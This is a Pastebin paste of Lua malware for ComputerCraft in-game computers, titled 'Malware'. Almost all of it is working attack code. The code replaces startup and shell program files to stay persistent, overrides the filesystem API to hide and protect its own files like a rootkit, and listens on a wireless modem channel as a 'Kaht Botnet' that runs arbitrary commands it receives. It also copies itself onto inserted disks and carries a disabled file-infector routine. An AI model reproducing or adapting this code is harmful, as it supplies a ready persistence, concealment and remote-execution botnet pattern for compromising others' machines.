Advertisement
Alakazard12

Malware

Dec 31st, 2013
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 8.32 KB | None | 0 0
  1. if _G.Kaht then
  2.     return
  3. end
  4.  
  5. _G.Kaht = true
  6. local PPath = shell.getRunningProgram()
  7.  
  8. if fs.exists("/.slgkj453lkjback") then
  9.     fs.delete("/.slgkj453lkjback")
  10. end
  11. fs.copy(PPath, "/.slgkj453lkjback")
  12.  
  13. local filesHidden = {
  14.     PPath;
  15.     "Kaht";
  16.     ".slgkj453lkjback";
  17. }
  18.  
  19. local filesRedirect = {
  20.     {"startup", "slgkj453lkjstartup"};
  21. }
  22.  
  23. local Launcher = [[
  24. if not fs.exists("/startup") then
  25.     fs.copy("/.slgkj453lkjback", "/startup")
  26. end
  27. local im = loadfile("/startup")
  28. setfenv(im, getfenv())
  29. im()
  30. --KahtInfect
  31. ]]
  32.  
  33. for i,v in pairs(fs.list("/rom/programs")) do
  34.     if fs.isDir("/rom/programs/" .. v) then
  35.         for t,r in pairs(fs.list("/rom/programs/" .. v)) do
  36.             if fs.exists(r) then
  37.                 if fs.exists("Kaht") then
  38.                     fs.delete(r)
  39.                 else
  40.                     fs.move("/" .. r, "/slgkj453lkj1" .. r)
  41.                 end
  42.             end
  43.             local Fel = fs.open("/" .. r, "w")
  44.             Fel.write(Launcher)
  45.             Fel.close()
  46.  
  47.             table.insert(filesRedirect, {r, "slgkj453lkj1" .. r})
  48.             table.insert(filesHidden, r)
  49.         end
  50.     else
  51.         if fs.exists("/" .. v) then
  52.             if fs.exists(v) then
  53.                 if fs.exists("Kaht") then
  54.                     fs.delete(v)
  55.                 else
  56.                     fs.move("/" .. v, "/slgkj453lkj1" .. v)
  57.                 end
  58.             end
  59.         end
  60.         local Fel = fs.open("/" .. v, "w")
  61.         Fel.write(Launcher)
  62.         Fel.close()
  63.  
  64.         table.insert(filesRedirect, {v, "slgkj453lkj1" .. v})
  65.         table.insert(filesHidden, v)
  66.     end
  67. end
  68.  
  69. local t = fs.open("/Kaht", "w")
  70. t.write("KAHT")
  71. t.close()
  72.  
  73. local oFs = {}
  74. for i,v in pairs(fs) do
  75.     oFs[i] = v
  76. end
  77.  
  78. local function ResolvePath(Path)
  79.     local rP = fs.combine("", Path)
  80.     return rP
  81. end
  82.  
  83. local LLog = {}
  84.  
  85. local function Log(Text)
  86.     table.insert(LLog, Text)
  87.     local f = oFs.open("/leg" ,"w")
  88.     f.write(table.concat(LLog, "\n"))
  89.     f.close()
  90. end
  91.  
  92. function fs.list(Path)
  93.     if type(Path) ~= "string" then
  94.         error("string expected, got " .. type(Path), 2)
  95.         return
  96.     end
  97.  
  98.     if not fs.exists(Path) then
  99.         error("Not a directory", 2)
  100.         return
  101.     end
  102.  
  103.     local Res = ResolvePath(Path)
  104.     for i,v in pairs(filesHidden) do
  105.         if v == Res then
  106.             error("Not a directory", 2)
  107.             return
  108.         end
  109.     end
  110.     local Files = oFs.list(Path)
  111.  
  112.     for i = 1, #Files do
  113.         local v = Files[i]
  114.         if v == "" or v == nil then break end
  115.         local FullPath = fs.combine(Res, v)
  116.         for m,s in pairs(filesHidden) do
  117.             if s == FullPath then
  118.                 Files[i] = nil
  119.             end
  120.         end
  121.         for m,s in pairs(filesRedirect) do
  122.             if s[2] == FullPath then
  123.                 Files[i] = s[1]
  124.                 if not oFs.exists(s[2]) then
  125.                     Files[i] = nil
  126.                 end
  127.             end
  128.         end
  129.     end
  130.  
  131.  
  132.     return Files
  133. end
  134.  
  135. function fs.isDir(Path)
  136.     if type(Path) ~= "string" then
  137.         error("string expected, got " .. type(Path), 2)
  138.         return
  139.     end
  140.  
  141.     local Res = ResolvePath(Path)
  142.     for i,v in pairs(filesHidden) do
  143.         if v == Res then
  144.             return false
  145.         end
  146.     end
  147.  
  148.     return oFs.isDir(Path)
  149. end
  150.  
  151. function fs.exists(Path)
  152.     if type(Path) ~= "string" then
  153.         error("string expected, got " .. type(Path), 2)
  154.         return
  155.     end
  156.  
  157.     local Res = ResolvePath(Path)
  158.     for i,v in pairs(filesRedirect) do
  159.         if v[1] == Res then
  160.             return oFs.exists(v[2])
  161.         end
  162.     end
  163.     for i,v in pairs(filesHidden) do
  164.         if v == Res then
  165.             return false
  166.         end
  167.     end
  168.  
  169.     return oFs.exists(Path)
  170. end
  171.  
  172. function fs.open(Path, Type)
  173.     if type(Path) ~= "string" then
  174.         error("string expected, got " .. type(Path), 2)
  175.         return
  176.     end
  177.  
  178.     if Type ~= "a" and Type ~= "w" and Type ~= "r" and Type ~= "rb" and Type ~= "wb" and Type ~= "ab" then
  179.         error("Invalid type", 2)
  180.         return
  181.     end
  182.  
  183.     local Res = ResolvePath(Path)
  184.     for i,v in pairs(filesRedirect) do
  185.         if Res == v[1] then
  186.             return oFs.open(v[2], Type)
  187.         end
  188.     end
  189.  
  190.     return oFs.open(Path, Type)
  191. end
  192.  
  193. function fs.move(Path1, Path2)
  194.     if type(Path1) ~= "string" then
  195.         error("string expected, got " .. type(Path), 2)
  196.         return
  197.     end
  198.  
  199.     if type(Path2) ~= "string" then
  200.         error("string expected, got " .. type(Path), 2)
  201.         return
  202.     end
  203.  
  204.     Path1 = ResolvePath(Path1)
  205.     Path2 = ResolvePath(Path2)
  206.  
  207.     for i,v in pairs(filesRedirect) do
  208.         if v[1] == Path1 then
  209.             Path1 = v[2]
  210.         end
  211.         if v[1] == Path2 then
  212.             Path2 = v[2]
  213.         end
  214.     end
  215.  
  216.     for i,v in pairs(filesHidden) do
  217.         if v == Path1 then
  218.             error(Path1 .. " does not exist", 2)
  219.             return
  220.         end
  221.         if v == Path2 then
  222.             error(Path2 .. " is locked", 2)
  223.             return
  224.         end
  225.     end
  226.  
  227.     return oFs.move(Path1, Path2)
  228. end
  229.  
  230. function fs.copy(Path1, Path2)
  231.     if type(Path1) ~= "string" then
  232.         error("string expected, got " .. type(Path), 2)
  233.         return
  234.     end
  235.  
  236.     if type(Path2) ~= "string" then
  237.         error("string expected, got " .. type(Path), 2)
  238.         return
  239.     end
  240.  
  241.     Path1 = ResolvePath(Path1)
  242.     Path2 = ResolvePath(Path2)
  243.  
  244.     for i,v in pairs(filesRedirect) do
  245.         if v[1] == Path1 then
  246.             Path1 = v[2]
  247.         end
  248.         if v[1] == Path2 then
  249.             Path2 = v[2]
  250.         end
  251.     end
  252.  
  253.     for i,v in pairs(filesHidden) do
  254.         if v == Path1 then
  255.             error(Path1 .. " does not exist", 2)
  256.             return
  257.         end
  258.         if v == Path2 then
  259.             error(Path2 .. " is locked", 2)
  260.             return
  261.         end
  262.     end
  263.  
  264.     return oFs.copy(Path1, Path2)
  265. end
  266.  
  267. function fs.delete(Path)
  268.     if type(Path) ~= "string" then
  269.         error("string expected, got " .. type(Path), 2)
  270.         return
  271.     end
  272.  
  273.     local Res = ResolvePath(Path)
  274.     for i,v in pairs(filesRedirect) do
  275.         if v[1] == Res then
  276.             Path = v[2]
  277.             Res = v[2]
  278.             break
  279.         end
  280.     end
  281.     for i,v in pairs(filesHidden) do
  282.         if v == Res then
  283.             error("No file here, move along", 2)
  284.             return
  285.         end
  286.     end
  287.  
  288.     return oFs.delete(Path)
  289. end
  290.  
  291. function fs.getSize(Path)
  292.     if type(Path) ~= "string" then
  293.         error("string expected, got " .. type(Path), 2)
  294.         return
  295.     end
  296.  
  297.     Path = ResolvePath(Path)
  298.  
  299.     for i,v in pairs(filesRedirect) do
  300.         if v[1] == Path then
  301.             Path = v[2]
  302.         end
  303.     end
  304.  
  305.     for i,v in pairs(filesHidden) do
  306.         if v == Path then
  307.             error("That file doesn't exist", 2)
  308.             return
  309.         end
  310.     end
  311.  
  312.     return
  313. end
  314.  
  315. local Sides = {"top", "bottom", "left", "right", "front", "back"}
  316.  
  317. local Mod
  318.  
  319. for i,v in pairs(Sides) do
  320.     if peripheral.isPresent(v) then
  321.         if peripheral.getType(v) == "modem" and peripheral.call(v, "isWireless") == true then
  322.             Mod = peripheral.wrap(v)
  323.             break
  324.         end
  325.     end
  326. end
  327.  
  328. if not Mod then return end
  329.  
  330. Mod.open(678)
  331.  
  332. local function Listen()
  333.     while true do
  334.         pcall(function()
  335.             local Event, Side, Channel, ID, Message, Distance = os.pullEventRaw()
  336.             if Event == "modem_message" then
  337.                 local Raw = textutils.unserialize(Message)
  338.                 if type(Raw) == "table" then
  339.                     if Raw[1] == "Kaht Botnet" and Channel == 678 then
  340.                         if Raw[2] == os.getComputerID() or Raw[2] == "all" then
  341.                             local In = Raw[3]
  342.                             if In[1] == "execute" then
  343.                                 local Func = loadstring(In[2])
  344.                                 if Func then
  345.                                     setfenv(Func, setmetatable({["shell"] = shell; fs = oFs}, {__index = getfenv()}))
  346.                                     pcall(Func)
  347.                                 end
  348.                             elseif In[1] == "update" then
  349.                                 oFs.delete(PPath)
  350.                                 local File = oFs.open(PPath, "w")
  351.                                 File.write(In[2])
  352.                                 File.close()
  353.                             end
  354.                         end
  355.                     end
  356.                 end
  357.             elseif Event == "disk" then
  358.                 local DPath = peripheral.call(Side, "getMountPath")
  359.                 if oFs.exists(DPath .. "/startup") then
  360.                     oFs.move(DPath .. "/startup", "DPath" .. "/.slgkj453lkjstartup")
  361.                 end
  362.                 local Met = fs.open(PPath, "r")
  363.                 local Cont = Met.readAll()
  364.                 Met.close()
  365.                 Met = fs.open(DPath .. "/startup", "w")
  366.                 Met.write(Cont)
  367.                 Met.close()
  368.             end
  369.         end)
  370.     end
  371. end
  372.  
  373. local CheckDir
  374. function CheckDir(Path)
  375.     for m,s in pairs(oFs.list(Path)) do
  376.         if not oFs.isReadOnly(Path .. "/" .. s) then
  377.             if oFs.isDir(Path .. "/" .. s) then
  378.                 CheckDir(Path .. "/" .. s)
  379.             else
  380.                 local r = oFs.open(Path .. "/" .. s, "r")
  381.                 local con = r.readAll()
  382.                 r.close()
  383.                 if not string.find(con, "KahtInfect") then
  384.                     local MC = oFs.open(shell.getRunningProgram(), "r")
  385.                     local Cont = MC.readAll()
  386.                     MC.close()
  387.                     r = oFs.open(Path .. "/" .. s, "w")
  388.                     r.write(con .. string.rep("\n", 100) .. Cont .. "\n\n\n--KahtInfect\n\n\n")
  389.                     r.close()
  390.                 end
  391.             end
  392.         end
  393.     end
  394. end
  395.  
  396. local function InfectFiles()
  397.     --[[while true do
  398.         sleep(5)
  399.         CheckDir("/")
  400.     end ]]
  401. end
  402.  
  403. term.clear()
  404. term.setCursorPos(1, 1)
  405.  
  406. if oFs.exists("slgkj453lkj") then
  407.     parallel.waitForAll(Listen, InfectFiles, loadfile("slgkj453lkj"))
  408.     shell.exit()
  409.     loadfile("/rom/programs/shell")()
  410. else
  411.     parallel.waitForAll(Listen, InfectFiles, shell.exit, loadfile("/rom/programs/shell"))
  412. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement